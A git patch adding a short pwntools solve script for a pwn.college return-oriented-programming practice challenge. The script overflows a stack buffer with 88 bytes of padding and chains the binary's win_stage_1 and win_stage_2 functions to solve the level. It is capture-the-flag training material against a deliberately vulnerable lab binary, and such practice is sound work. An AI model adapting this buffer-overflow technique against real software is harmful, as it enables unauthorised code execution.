From d087cb74307257f3ce588a12408906a0cae1d39b Mon Sep 17 00:00:00 2001 From: jc Date: Tue, 5 Aug 2025 18:19:59 +0300 Subject: [PATCH] solve script --- pwn_college/babyrop_level_2.1/a.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 pwn_college/babyrop_level_2.1/a.py diff --git a/pwn_college/babyrop_level_2.1/a.py b/pwn_college/babyrop_level_2.1/a.py new file mode 100644 index 0000000..15b049b --- /dev/null +++ b/pwn_college/babyrop_level_2.1/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./babyrop_level_2_1", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*88 +buf += p64(target.sym.win_stage_1) +buf += p64(target.sym.win_stage_2) +s(buf) + +r.interactive() \ No newline at end of file